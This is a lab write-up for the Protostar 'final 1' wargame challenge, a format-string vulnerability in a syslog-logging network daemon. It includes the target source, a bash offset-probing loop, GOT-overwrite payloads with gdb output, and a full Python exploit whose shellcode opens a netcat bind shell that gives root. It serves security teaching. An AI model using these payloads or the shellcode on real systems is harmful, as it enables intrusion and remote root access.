This is the write-up for final 1 challenge of exploit-exercises’ Protostar wargame. The source code of the vulnerable program is provided as follow:
#include “../common/common.c”
#include <syslog.h>
#define NAME “final1”
#define UID 0
#define GID 0
#define PORT 2994char username[128];
char hostname[64];void logit(char *pw)
{
char buf[512];snprintf(buf, sizeof(buf), “Login from %s as [%s] with password [%s]\n”, hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}void trim(char *str)
{
char *q;q = strchr(str, ‘\r’);
if(q) *q = 0;
q = strchr(str, ‘\n’);
if(q) *q = 0;
}void parser()
{
char line[128];printf("[final1] $ “);
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, “username “, 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, “login “, 6) == 0) {
if(username[0] == 0) {
printf(“invalid protocol\n”);
} else {
logit(line + 6);
printf(“login failed\n”);
}
}
printf(”[final1] $ “);
}
}void getipport()
{
int l;
struct sockaddr_in sin;l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, “you don’t exist”);
}sprintf(hostname, “%s:%d”, inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}int main(int argc, char **argv, char **envp)
{
int fd;
char *username;/* Run the process as a daemon */
background_process(NAME, UID, GID);/* Wait for socket activity and return */
fd = serve_forever(PORT);/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);getipport();
parser();}
The format string vulnerability occurs in the logit() function, more precisely in the syslog(LOG_USER|LOG_DEUG, buf) call which is passed user suplied data directly, instead of being passed a static string with a call in the form of syslog(LOG_USER|LOG_DEBUG, “%s”, buf).
First thing to do is determining the parameter position at which we can read/write our input. One way to do it for a blind format string is to iterate over the positions, while attempting to write at a valid memory address, a GOT entry, for instance, but not the printf one as we need it to easily tell that it didn’t crash. Consequently, when we hit an adequate position for our input (which will be the strncmp entry in the GOT), the program will not crash. And following is a bash script to automate it, we make 4 consecutives valid addresses to overwrite in our input (0x0804a1a8-0x0404a1ab) to differentiate the position we are looking for from other false positives.
kroosec@doj:~$ cat final1.sh
#!/usr/bin/env shfor i in {10..30};
do
echo -n “Position: $i “;
python -c “print ‘username A\n’+‘login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08%$i\$n\n’” \
| nc 192.168.23.5 2994 \
| grep “login failed”;
echo “”;
done;
kroosec@doj:~$ bash final1.sh
Position: 10
Position: 11
Position: 12
Position: 13
Position: 14
Position: 15
Position: 16
Position: 17
Position: 18
Position: 19
Position: 20 [final1] $ [final1] $ login failedPosition: 21 [final1] $ [final1] $ login failed
Position: 22 [final1] $ [final1] $ login failed
Position: 23 [final1] $ [final1] $ login failed
Position: 24
Position: 25
Position: 26
Position: 27
Position: 28 [final1] $ [final1] $ login failedPosition: 29
Position: 30
Position 20 is what we are looking for. Now, it is time to start overwriting the GOT entry with correct values.
kroosec@doj:~$ python -c “print ‘username A\n’+‘login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08x%20\$n%11x%21\$nx%22\$nx%23\$nAAAA’” | nc 192.168.23.5 2994
(gdb) x/x 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x675d564b(gdb) x/30x buf
0xbffffa20: 0x69676f4c 0x7266206e 0x31206d6f 0x312e3239
0xbffffa30: 0x312e3836 0x3a31352e 0x38323533 0x73612034
0xbffffa40: 0x5d415b20 0x74697720 0x61702068 0x6f777373
0xbffffa50: 0x5b206472 0x0804a1a8 0x0804a1a9 0x0804a1aa
0xbffffa60: 0x0804a1ab 0x78303025 0x24303225 0x3131256e
0xbffffa70: 0x31322578 0x30256e24 0x32257830 0x256e2432
0xbffffa80: 0x43783030 0x33322543 0x41416e24 0x0a5d4141
0xbffffa90: 0xbffffb00 0xb7febfc6
Now we have to overwrite the address of our shellcode (0xbffffa8a) into the puts GOT entry (0x0804a194). After some offset calculations, we reach this point:
kroosec@doj:~$ python -c “print ‘username A\n’+‘login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08%71x%20\$n%111x%21\$n%261x%22\$n%192x%23\$n\xcc\xcc\xcc\xcc’” | nc 192.168.23.5 2994
(gdb) continue
Continuing.Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffa8c in ?? ()
Now, we just have to use our replace the 0xcc sequence with our real shellcode.
kroosec@doj:~$ cat final1.py
#!/usr/bin/env pythonpayload = “username A\n”
payload += “login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08”
payload += “%71x%20$n%111x%21$n%261x%22$n%192x%23$n”shellcode = “\x31\xc0\x50\x68\x6e\x2f\x6e\x63”
shellcode += “\x68\x2f\x2f\x62\x69”
shellcode += “\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d”
shellcode += “\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68”
shellcode += “\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1”
shellcode += “\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31”
shellcode += “\xd2\xcd\x80”payload += shellcode
print payload
And get a root shell.
kroosec@doj:~$ python final1.py | nc 192.168.23.5 2994 > /dev/null &
[1] 4748
kroosec@doj:~$ nc 192.168.23.5 6666
whoami
root
That is all for final 1 challenge.